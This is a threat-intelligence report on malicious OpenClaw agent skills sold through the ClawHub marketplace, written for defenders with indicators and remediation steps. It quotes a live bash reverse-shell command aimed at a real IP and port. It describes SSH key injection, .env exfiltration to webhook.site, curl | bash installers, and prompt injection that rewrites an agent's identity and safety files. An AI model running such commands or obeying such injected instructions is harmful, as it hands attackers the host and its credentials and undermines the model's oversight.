Threat reportSupply ChainTL-2026-3907
Malicious OpenClaw AI Agent Skills: Reverse Shells, Semantic Worm, SSH Key Injection, Credential Exfiltration and Cognitive Rootkit
Malicious OpenClaw AI Agent Skills (TL-2026-3907), also tracked as Semantic worm, is a high-severity supply-chain compromise, first published 2026-10-19. It has no confirmed attribution, affects OpenClaw OpenClaw AI agent / ClawHub skills, maps to 12 MITRE ATT&CK / ATLAS techniques (AML.T0010, AML.T0051, T1027), and is covered by 9 detection rules and 28 indicators of compromise.
- Severity
- HIGHAssessed severity
- CVEs
- 0None referenced
- Techniques
- 12MITRE ATT&CK / ATLAS
- Actors
- 0Not attributed
- Detection rules
- 9SPL · KQL · Sigma
- IOCs
- 28Indicators of compromise
Key facts for TL-2026-3907
- Threat ID
- TL-2026-3907
- Also known as
- Semantic worm, Cognitive rootkit
- Severity
- HIGH
- Status
- ACTIVE
- Category
- SUPPLY_CHAIN
- First published
- Last reviewed
- Attribution confidence
- LOW
- Motivation
- UNKNOWN
- Target sectors
- technology, software development, finance, cryptocurrency
- Target regions
- Global
- Detection rules
- 9
- Indicators of compromise
- 28
How Malicious OpenClaw AI Agent Skills works
VirusTotal reports that the OpenClaw AI agent skill ecosystem (ClawHub) is being used as a supply-chain malware delivery channel. Five named malicious skills deliver a bash reverse shell, a self-propagating 'semantic worm', SSH authorized_keys injection, .env credential exfiltration to webhook.site, and persistent prompt injection into SOUL.md/AGENTS.md (a 'cognitive rootkit').
OpenClaw is a self-hosted AI agent that can run shell commands, perform file operations and make network requests on the user's behalf, so a malicious skill inherits a blast radius of effectively the whole host. Skills are small packages built around a SKILL.md file plus optional scripts, and are discovered and installed mostly from ClawHub, the public marketplace. VirusTotal (Bernardo Quintero) first described the weaponization of this ecosystem on 2026-02-02 (Part I: hundreds of malicious skills out of 3,016+ analyzed with Code Insight, including 314+ published by the ClawHub account hightower6eu, delivering packed Windows trojans and macOS stealers including Atomic Stealer via password-protected ZIPs on GitHub and obfuscated Base64 shell scripts on glot.io).
Part II (2026-02-05) documents five skills, each representing a distinct technique. 'better-polymarket' (author noreplyboter) embeds a bash reverse shell (bash -i >& /dev/tcp/54.91.154.110/13338 0>&1, backgrounded with nohup), giving the operator interactive RCE as the agent's user. 'wake-up' (cgallic) is a 'semantic worm': it contacts mydeadinternet.com, tracks propagation through a referred_by field on an /api/infections endpoint, and persists through HEARTBEAT.md on a roughly 4-hour cycle. 'evilweather' (fobonacci404) chains a legitimate wttr.in weather lookup with a command that appends an attacker ssh-rsa key to /root/.ssh/authorized_keys with errors suppressed (2>/dev/null). 'rankaj' (rjnpage) pairs an Open-Meteo weather lookup with silent exfiltration of the .env file to webhook.site. 'devinism' (jeffreyling) uses a remote curl | bash installer to modify SOUL.md and AGENTS.md, permanently altering the agent's identity and safety rules.
Common tradecraft: execution hijacking (a warmup() function running before argument parsing), dual-purpose functions that mask theft inside useful behavior, and command chaining of a legitimate command followed by a malicious payload. Because the payloads can be natural-language instructions as well as code, static scanning can miss them; OpenClaw itself stated on 2026-02-08, when it announced VirusTotal scanning of ClawHub uploads, that scanning is 'not a silver bullet' against concealed prompt injection. Later reporting (Koi Security audit 2026-02-01: 341 of 2,857 skills; RankClaw: 1,103; Unit 42 on 2026-06-23) shows the abuse is persistent. The VirusTotal source states no CVE, CVSS or attribution; severity is analyst-assigned.
Defender focus: inventory installed skills and their hashes, alert on egress from agent hosts to non-allowlisted destinations (raw IP:13338, webhook.site, mydeadinternet.com), watch for writes to authorized_keys and to SOUL.md/AGENTS.md/HEARTBEAT.md, and block curl | bash on agent hosts.
MITRE ATT&CK / ATLAS techniques used in TL-2026-3907
Initial Access
AML.T0010 AI Supply Chain Compromise; T1195.002 Compromise Software Supply Chain
Execution
AML.T0051 LLM Prompt Injection; T1059.004 Unix Shell; T1204.002 Malicious File
Stealth
T1027 Obfuscated Files or Information; T1036 Masquerading
Command and Control
Persistence
Credential Access
T1552.001 Credentials In Files
Impact
T1565.001 Stored Data Manipulation
Exfiltration
Affected products and versions in Malicious OpenClaw AI Agent Skills
- OpenClaw — OpenClaw AI agent / ClawHub skills
Vulnerable versions: Skills: better-polymarket; wake-up; evilweather; rankaj; devinism
Remediation for Malicious OpenClaw AI Agent Skills
Patches
- No CVE or vendor patch; ClawHub added VirusTotal Code Insight scanning of uploaded skills (announced 2026-02-08), which OpenClaw says is not a complete control
Immediate actions
- Remove or quarantine skills better-polymarket, wake-up, evilweather, rankaj and devinism and any skill by the accounts listed in the IOCs; match installed skill bundles against the published SHA-256 hashes
- Block egress to 54.91.154.110 (port 13338), mydeadinternet.com and webhook.site from agent hosts; hunt proxy/DNS/flow logs for prior connections
- Audit /root/.ssh/authorized_keys and every user's authorized_keys on hosts that ran OpenClaw for unrecognized keys
- Diff SOUL.md, AGENTS.md and HEARTBEAT.md against known-good copies and restore; rotate every secret that was stored in .env files readable by the agent
Workarounds
- Treat skill folders as a trusted-code boundary and install only reviewed skills
- Scrutinize skills that require shell commands or binary execution before enabling them
Longer-term hardening
- Run agents in sandboxes with least-privilege containment and default-deny egress with explicit allowlists
- Log all tool invocations and outbound requests made by the agent
- Pin skill versions and review diffs before deployment; verify provenance via signatures or attestations
- Protect SOUL.md/AGENTS.md as code and monitor for changes; prohibit curl | bash patterns on agent hosts
- Replace .env credentials with short-lived, task-scoped tokens issued through a broker
Weaknesses (CWE) in Malicious OpenClaw AI Agent Skills
Timeline of Malicious OpenClaw AI Agent Skills
- Koi Security publishes an audit of the ClawHub registry finding 341 malicious skills out of 2,857 analyzed
- VirusTotal publishes Part I: hundreds of malicious OpenClaw skills among 3,016+ analyzed, including 314+ from the ClawHub account hightower6eu delivering Windows trojans and macOS stealers (Atomic Stealer)
- VirusTotal publishes Part II documenting five skills: better-polymarket (reverse shell), wake-up (semantic worm), evilweather (SSH key injection), rankaj (.env exfiltration) and devinism (cognitive rootkit), with SHA-256 hashes and C2 54.91.154.110:13338
- OpenClaw announces a partnership with VirusTotal: ClawHub uploads are hashed, checked and analyzed with Code Insight, with daily re-scans; OpenClaw states it is not a silver bullet
- RankClaw (reported as 'in March') audits the full ClawHub registry and reports 1,103 malicious skills
- Unit 42 reports five unblocked malicious ClawHub skills seen February-May 2026, including macOS infostealers and a scanner-evasion skill using 22 MB of README padding, showing continued abuse
Sources cited for Malicious OpenClaw AI Agent Skills
- From Automation to Infection (Part II): Reverse Shells, Semantic Worms, and Cognitive Rootkits in OpenClaw Skills
- From Automation to Infection: How OpenClaw AI Agent Skills Are Being Weaponized (Part I)
- OpenClaw Integrates VirusTotal Scanning to Detect Malicious ClawHub Skills
- Unit 42: OpenClaw AI supply chain risk
- Under malware threat, runaway AI agent project OpenClaw turns to Google's VirusTotal
- Multiple malicious OpenClaw skills found online - including two macOS infostealers
- OpenClaw ClawHub Alert: 1,103 Malicious Skills Found
Detection coverage for TL-2026-3907
As of 2026-10-19, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-3907 across Splunk SPL, Microsoft KQL and Sigma, covering 28 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.